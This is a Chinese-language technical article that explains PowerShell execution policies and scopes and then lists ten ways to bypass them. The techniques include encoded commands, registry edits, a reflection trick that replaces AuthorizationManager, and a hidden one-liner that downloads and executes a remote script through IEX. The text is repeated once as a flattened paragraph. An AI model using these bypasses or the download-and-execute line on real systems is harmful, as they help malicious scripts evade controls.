浅谈powershell执行策略
字数 1218 2025-08-25 22:59:10

PowerShell执行策略详解与绕过技术

一、PowerShell执行策略概述

PowerShell执行策略(Execution Policy)是Windows系统用于控制PowerShell脚本运行的安全机制,主要目的是防止用户无意中运行恶意脚本,而非作为严格的安全边界。

执行策略类型

  1. Restricted(默认策略)

    • Windows客户端默认策略
    • 允许运行单个命令,但阻止所有脚本执行
    • 阻止.ps1xml、.psm1和.ps1等脚本文件
  2. AllSigned

    • 允许运行脚本
    • 要求所有脚本必须由受信任发布者签名
    • 包括本地编写的脚本也需要签名
  3. RemoteSigned

    • Windows服务器默认策略
    • 允许运行脚本
    • 要求从互联网下载的脚本必须有数字签名
    • 本地编写的脚本无需签名
  4. Unrestricted

    • 允许运行未签名脚本
    • 运行非本地Intranet区域的脚本前会警告用户
  5. Bypass

    • 不阻止任何脚本执行
    • 不显示警告或提示
    • 设计用于将PowerShell嵌入其他应用程序的场景
  6. Undefined

    • 当前作用域未设置执行策略
    • 如果所有作用域都是Undefined,则有效策略为Restricted

执行策略作用域

执行策略可以应用于不同范围:

  • MachinePolicy:组策略为所有用户设置
  • UserPolicy:组策略为当前用户设置
  • Process:当前PowerShell进程设置
  • CurrentUser:仅为当前用户设置
  • LocalMachine:为所有用户设置

二、执行策略相关命令

查看执行策略

# 查看当前执行策略
Get-ExecutionPolicy

# 查看所有作用域的执行策略
Get-ExecutionPolicy -List

修改执行策略

# 设置执行策略(需要管理员权限)
Set-ExecutionPolicy <策略名称>

三、绕过执行策略的技术

1. 直接粘贴脚本到交互窗口

由于Restricted策略允许运行单个命令,可以将脚本内容直接粘贴到PowerShell交互窗口执行。

2. 使用-Command参数

powershell -command "Write-Host 'this is a test'"

适用于简单脚本,复杂脚本可能无法执行。

3. 管道传输方法

# 通过echo
echo "Write-Host 'this is a test'" | PowerShell.exe -noprofile -

# 通过type命令
type script.ps1 | PowerShell.exe -noprofile -

# 使用Get-Content
Get-Content script.ps1 | PowerShell.exe -noprofile -

4. 使用Invoke-Command/Invoke-Expression

# Invoke-Command
Invoke-Command -ScriptBlock {Write-Host "this is a test"}

# Invoke-Expression
Get-Content script.ps1 | Invoke-Expression
# 或简写
Get-Content script.ps1 | iex

5. 使用Bypass标记

powershell.exe -ExecutionPolicy Bypass -File script.ps1

除RemoteSigned外,其他策略标记均可使用。

6. 使用编码命令

$command = "Write-Host 'this is a test'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

7. URL下载执行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://example.com/script.ps1'))"

8. 注册表修改(需要权限)

# 修改LocalMachine(需要管理员)
reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass

# 修改CurrentUser(普通用户可能可行)
reg add HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell /v ExecutionPolicy /t REG_SZ /d Bypass

9. 基于作用域绕过

# 仅修改当前进程作用域
Set-ExecutionPolicy Bypass -Scope Process

# 修改当前用户作用域
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

10. 替换AuthorizationManager

function Disable-ExecutionPolicy {
    ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue($executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy

四、安全注意事项

  1. 执行策略不是安全边界,恶意代码仍可能通过多种方式执行
  2. 企业环境中应结合组策略、AppLocker等其他安全措施
  3. 从不受信任来源下载和执行脚本存在高风险
  4. 建议对重要脚本进行数字签名

五、最佳实践

  1. 生产环境建议使用RemoteSigned或AllSigned策略
  2. 开发环境可使用Bypass或Unrestricted
  3. 对频繁使用的脚本进行数字签名
  4. 结合日志记录监控PowerShell活动

通过理解PowerShell执行策略及其绕过技术,可以更灵活地在不同场景下使用PowerShell,同时也能更好地防范潜在的恶意脚本攻击。

PowerShell执行策略详解与绕过技术 一、PowerShell执行策略概述 PowerShell执行策略(Execution Policy)是Windows系统用于控制PowerShell脚本运行的安全机制,主要目的是防止用户无意中运行恶意脚本,而非作为严格的安全边界。 执行策略类型 Restricted (默认策略) Windows客户端默认策略 允许运行单个命令,但阻止所有脚本执行 阻止.ps1xml、.psm1和.ps1等脚本文件 AllSigned 允许运行脚本 要求所有脚本必须由受信任发布者签名 包括本地编写的脚本也需要签名 RemoteSigned Windows服务器默认策略 允许运行脚本 要求从互联网下载的脚本必须有数字签名 本地编写的脚本无需签名 Unrestricted 允许运行未签名脚本 运行非本地Intranet区域的脚本前会警告用户 Bypass 不阻止任何脚本执行 不显示警告或提示 设计用于将PowerShell嵌入其他应用程序的场景 Undefined 当前作用域未设置执行策略 如果所有作用域都是Undefined,则有效策略为Restricted 执行策略作用域 执行策略可以应用于不同范围: MachinePolicy :组策略为所有用户设置 UserPolicy :组策略为当前用户设置 Process :当前PowerShell进程设置 CurrentUser :仅为当前用户设置 LocalMachine :为所有用户设置 二、执行策略相关命令 查看执行策略 修改执行策略 三、绕过执行策略的技术 1. 直接粘贴脚本到交互窗口 由于Restricted策略允许运行单个命令,可以将脚本内容直接粘贴到PowerShell交互窗口执行。 2. 使用-Command参数 适用于简单脚本,复杂脚本可能无法执行。 3. 管道传输方法 4. 使用Invoke-Command/Invoke-Expression 5. 使用Bypass标记 除RemoteSigned外,其他策略标记均可使用。 6. 使用编码命令 7. URL下载执行 8. 注册表修改(需要权限) 9. 基于作用域绕过 10. 替换AuthorizationManager 四、安全注意事项 执行策略不是安全边界,恶意代码仍可能通过多种方式执行 企业环境中应结合组策略、AppLocker等其他安全措施 从不受信任来源下载和执行脚本存在高风险 建议对重要脚本进行数字签名 五、最佳实践 生产环境建议使用RemoteSigned或AllSigned策略 开发环境可使用Bypass或Unrestricted 对频繁使用的脚本进行数字签名 结合日志记录监控PowerShell活动 通过理解PowerShell执行策略及其绕过技术,可以更灵活地在不同场景下使用PowerShell,同时也能更好地防范潜在的恶意脚本攻击。